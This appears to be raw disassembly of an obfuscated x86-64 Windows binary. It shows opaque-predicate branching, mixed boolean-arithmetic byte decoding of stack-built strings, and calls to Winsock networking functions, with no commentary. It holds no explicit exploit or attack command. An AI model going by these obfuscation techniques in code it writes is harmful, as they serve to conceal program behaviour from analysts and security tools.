je 0x1400f98a0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x42]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400fa496
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400fa472
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400f9a8e
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400f9a73
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400f9a54
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400f9d05
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400f9ca0
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400f9c51
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400f9c22
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400f98a0
lea rbx, [r8 + 1]
lea r8, [rbx + 2]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400f9beb
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400f9bc3
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400f9b9b
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400f9b77
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400f9b4c
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400f9b28
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400f9afe
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400f9acd
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400f9aa9
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400f98a0
lea rbx, [r8 + 0x42]
lea r8, [rbx + 6]
jmp 0x1400f98a0
lea rdx, [r10 + r14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1b
add dil, dl
jmp 0x1400f9890
lea rcx, [r10 + r15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
jmp 0x1400f9820
lea rcx, [r10 + r13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
jmp 0x1400f97b6
movabs rcx, 0xb34f2f92c59f3898
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x1400fa341
movabs rdx, 0xd8cb320dfa205f8a
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400f97a3
movabs rcx, 0xfe4734892ea1867c
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
dec r10
inc r10
jmp 0x1400f97a3
movabs rcx, 0x23c337046322ad6e
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x1400fa2c5
movabs rdx, 0x493f397f97a3d460
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x1400fa3b7
movabs rcx, 0x6ebb3bfacc24fb52
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
jmp 0x1400fa3b7
movabs rdx, 0x94373e7600a62244
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fa248
movabs rdx, 0xb9b340f135274936
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7a
add dil, dl
jmp 0x1400fa3ee
movabs rcx, 0xdf2f436c69a87028
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x18
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x1400f97a3
movabs rcx, 0xbce549a06ceb5185
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5d
mov byte [rbp + r10 + 0x490], dil
inc r10
jmp 0x1400f97a3
movabs rcx, 0xe2614c1ba16c7877
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x41
cmp r8, 5
jb 0x1400f9c41
movabs rdx, 0x884b81748a453dca
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0xc]
jmp 0x1400fa341
movabs rdx, 0x7dd4e96d5ed9f69
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x21
add dil, dl
cmp rbx, 0x200
jae 0x1400fa1cc
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x1400fa0cc
movabs rdx, 0xff239a449750c33e
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400f9c70
movabs rdx, 0x2d5951120a6ec65b
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7d
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 4
je 0x1400fa1fc
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x1400f9fdb
movabs rdx, 0x8b9b4523e9cdc2b
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2d
jmp 0x1400f9cc0
movabs rcx, 0xc67b63ae14376a72
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x1400f97a3
movabs rdx, 0xebf7662948b89164
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400fa3ee
movabs rcx, 0x117368a47d39b856
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x1400fa248
movabs rdx, 0x36ef6b1fb1badf48
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fa3b7
movabs rdx, 0x5c6b6d9ae63c063a
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x1400fa3b7
movabs rcx, 0x81e770161abd2d2c
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x1400fa2c5
movabs rdx, 0xa76372914f3e541e
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400f97a3
movabs rcx, 0xccdf750c83bf7b10
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
inc r8
dec r10
inc r10
jmp 0x1400f97a3
movabs rcx, 0xf25b7787b840a202
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x1400fa341
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x1400f9f04
lea rcx, [r10 + r12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
jmp 0x1400f9d28
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f9f44
movabs rcx, 0xecd3cbe4b167ce26
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xa
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x1400f97a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f9f75
movabs rdx, 0xa1dbc6ee48658042
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fa248
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f9fa6
movabs rdx, 0x3167bf7caae20b6c
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fa2c5
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400f9d28
movabs rdx, 0xc0f3b80b0d5e9696
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1a
add dil, dl
jmp 0x1400fa341
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fa00c
movabs rdx, 0xe33db1d70a1bb539
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x71
add dil, dl
jmp 0x1400fa341
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fa03c
movabs rcx, 0x4d4da7ea38171971
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x17
add rbx, r8
jmp 0x1400fa3b7
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400fa069
movabs rcx, 0x27d1a56f0395f27f
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x79
jmp 0x1400fa3b7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fa097
movabs rdx, 0x255a2f3cf14cb8d
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x25
jmp 0x1400fa245
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400f9cc3
movabs rdx, 0xdcd9a0789a93a49b
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3d
add dil, dl
jmp 0x1400fa3ee
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fa10b
movabs rcx, 0xd9a797c962cf9c4c
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x1400f97a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fa139
movabs rdx, 0x8eaf92d2f9cd4e68
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fa245
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fa166
movabs rcx, 0x69339057c54c2776
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
jmp 0x1400fa3b7
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400fa197
movabs rdx, 0x1e3b8b615c49d992
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400fa2c5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f9c70
movabs rdx, 0xadc783efbec664bc
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x24
add dil, dl
jmp 0x1400fa341
movabs rdx, 0x62cf7ef955c416d8
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r10 + 0x490]
add dil, r9b
add dil, dl
jmp 0x1400fa2c5
movabs rcx, 0x3d537c7e2142efe6
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x490]
lea edi, [r9 + rcx]
sub dil, 0x4a
jmp 0x1400fa248
movabs rdx, 0xf005d493e92bd675
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x33
add dil, dl
movabs rcx, 0xaa957b4087025c6d
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 5
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x490], al
inc r8
add rax, r8
sub r10, rax
jmp 0x1400fa3ee
movabs rcx, 0x3afdd98a522e2459
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6f
add rbx, r8
jmp 0x1400fa3b7
movabs rcx, 0x6079dc0586af4b4b
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xd
movabs rcx, 0xd0117dbbbb83835f
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
add r9b, 0x67
add r9b, dil
add r9b, cl
mov byte [rbp + r10 + 0x490], r9b
add rbx, r8
jmp 0x1400fa3b7
movabs rcx, 0x85f5de80bb30723d
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x55
dec r10
inc r10
jmp 0x1400f97a3
movabs rcx, 0xd0ede3772432c021
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x19
movabs rcx, 0xf58d8036f004aa51
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x37
add r9b, cl
mov byte [rbp + r10 + 0x490], r9b
inc r8
dec r10
inc r10
jmp 0x1400f97a3
movabs rcx, 0xb1d5f25a5f39a9cd
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x65
add rbx, r8
jmp 0x1400fa3b7
movabs rcx, 0xd751f4d593bad0bf
add rcx, r10
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x39
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400f97a3
mov r9, rdx
movabs rax, 0x2249f9cbfcbd1ea3
add rax, r10
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 0x75
movabs rdx, 0x17d77a02ecc1c8f4
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x490], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x1400f97a3
movabs rcx, 0x47c5fc47313e4595
add rcx, r10
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x13
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x1400f97a3
movabs rcx, 0xc3495afedc736223
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
jmp 0x1400f97a0
movabs rcx, 0xe8c55d7a10f48915
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
jmp 0x1400f9790
lea rcx, [rbp + 0x15cef44]
jmp 0x1400fa4d3
lea rcx, [rbp + 0x9c5bcb]
jmp 0x1400fa4d3
lea rcx, [rbp + 0x490]
call fcn.1400e0150
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rsp + 0x48]
call fcn.1400438e0
nop dword [rax + rax]
call fcn.1400e7c00
mov byte [rbp + 0x2c0], WSASetLastError
mov byte [rbp + 0x2c1], __WSAFDIsSet
mov byte [rbp + 0x2c2], 0x7b
mov byte [rbp + 0x2c3], Ordinal_143
mov byte [rbp + 0x2c4], 0x98
mov byte [rbp + 0x2c5], Ordinal_143
mov byte [rbp + 0x2c6], 0x80
mov byte [rbp + 0x2c7], 0x88
mov byte [rbp + 0x2c8], Ordinal_50
mov byte [rbp + 0x2c9], WSASetLastError
mov byte [rbp + 0x2ca], Ordinal_143
mov byte [rbp + 0x2cb], 0x80
mov byte [rbp + 0x2cc], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x2cd], 0x9a
mov byte [rbp + 0x2ce], 0x9c
mov byte [rbp + 0x2cf], __WSAFDIsSet
mov byte [rbp + 0x2d0], Ordinal_46
mov byte [rbp + 0x2d1], 0x7b
mov byte [rbp + 0x2d2], 0x7a
mov byte [rbp + 0x2d3], 0x48
mov byte [rbp + 0x2d4], Ordinal_41
mov byte [rbp + 0x2d5], 0x3f
mov byte [rbp + 0x2d6], Ordinal_41
mov byte [rbp + 0x2d7], 7
xor eax, eax
mov qword [rbp + 0x2d8], rax
mov byte [rbp + 0x2e0], al
movabs rsi, 0xcf206240f9e14fd4
movabs r12, 0x160dbb8930787184
movabs r14, 0xf974d37d5165a2ac
movabs r15, 0xcd595c6af074bfa4
movabs r13, 0xa13de5588f83dc9c
movzx edi, byte [rbp + 0x530]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x21
jae 0x1400fb2d3
movzx r9d, byte [rbp + r10 + 0x2c0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400fb2ca
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400fa64c
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x64
jmp 0x1400fa686
je 0x1400fb23b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400fb195
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400fb156
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fb105
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400fb0ab
cmp r8, r10
ja 0x1400fb2c1
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x1400fa6b4
lea rdx, [r10 + rsi]
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400fa700
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400fb08a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400fb060
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fb038
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400fb010
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400fafeb
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400fad11
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400faced
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400facc0
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400fac95
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400fac81
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400fac6d
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400fac49
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400fac21
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400fabf9
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400fabd4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fa710
lea rbx, [r8 + 0x61]
lea r8, [rbx + 3]
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x1400fb299
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400fb275
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400fa908
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400fa8e9
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400fa8ca
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400fab6f
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400fab10
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400faabd
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400faa8a
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400fa710
lea rbx, [r8 + 2]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400faa65
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400faa3d
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x1400faa19
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400fa9f4
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400fa9d0
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400fa9a8
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400fa97a
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400fa94c
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400fa927
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400fa710
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x5a]
jmp 0x1400fa710
lea rdx, [r10 + r14]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fa700
lea rdx, [r10 + r15]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7c
add dil, dl
jmp 0x1400fa686
lea rdx, [r10 + r13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x44
add dil, dl
jmp 0x1400fa616
movabs rdx, 0x79031207cf0a7ea0
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x60
jmp 0x1400fb0cb
movabs rcx, 0x4ce79af56e199b98
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x28
inc r8
dec r10
inc r10
jmp 0x1400fa603
movabs rdx, 0x20cc23e30d28b890
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400fa603
movabs rdx, 0xf4b0acd0ac37d588
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fb128
movabs rcx, 0xc89535be4b46f280
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x1400fb179
movabs rcx, 0x9c79beabea560f78
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x48
jmp 0x1400fb17c
movabs rcx, 0x705e479989652c70
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x1400fb1b7
movabs rdx, 0x4442d08728744968
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fb1eb
movabs rdx, 0x18275974c7836660
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fb25b
movabs rdx, 0xa9e2afc6d5292ecc
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
mov byte [rbp + r10 + 0x2c0], dil
inc r10
jmp 0x1400fa603
movabs rdx, 0x7dc738b474384bc4
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5c
add dil, dl
cmp r8, 5
jb 0x1400faaad
movabs rdx, 0xc978b8a94ffd3a98
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x50]
jmp 0x1400fb0ce
movabs rdx, 0x51abc1a2134768bc
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x24
add dil, dl
cmp rbx, 0x64
jae 0x1400faf8b
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x1400faee9
movabs rdx, 0x106611f186945c48
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400faadd
movabs rdx, 0x25904a8fb25685b4
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0xa
je 0x1400fafbb
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x1400fae2e
movabs rcx, 0x4145afb08cb30c74
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x1400fab33
movabs rdx, 0xdac24d85db47def8
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fb25b
movabs rdx, 0xaea6d6737a56fbf0
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400fb1eb
movabs rdx, 0x828b5f61196618e8
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x58
add dil, dl
jmp 0x1400fb1b7
movabs rcx, 0x566fe84eb87535e0
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x1400fb17c
movabs rdx, 0x2a54713c578452d8
mov ecx, listen
jmp 0x1400fb165
movabs rdx, 0xfe38fa29f6936fd0
mov ecx, Ordinal_41
jmp 0x1400fb114
movabs rcx, 0xd21d831795a28cc8
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x78
dec r10
inc r10
jmp 0x1400fa603
movabs rcx, 0xa6020c0534b1a9c0
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
inc r8
dec r10
inc r10
jmp 0x1400fa603
movabs rcx, 0x79e694f2d3c0c6b8
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x1400fb0ce
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x1400fad39
lea rdx, [r10 + r12]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fab92
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fad7c
movabs rdx, 0x9e40c481f3c29fa8
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fa603
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fada9
movabs rcx, 0xf677b2a6b5a465b8
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x1400fb1b7
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400fadc6
movabs rdx, 0x7aca17ddd8770ed0
mov ecx, Ordinal_41
jmp 0x1400fb114
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fadfd
movabs rdx, 0xa6e58ef03967f1d8
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x1400fa603
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400fab92
movabs rcx, 0xff1c7d14fb49b7e8
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x1400fb0ce
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fae5c
movabs rdx, 0x6d6126c2eda3ef7c
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
jmp 0x1400fb0cb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fae8a
movabs rdx, 0xf1b38bfa10769894
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xc
jmp 0x1400fb125
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400faeb7
movabs rcx, 0x1dcf030c71677b9c
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
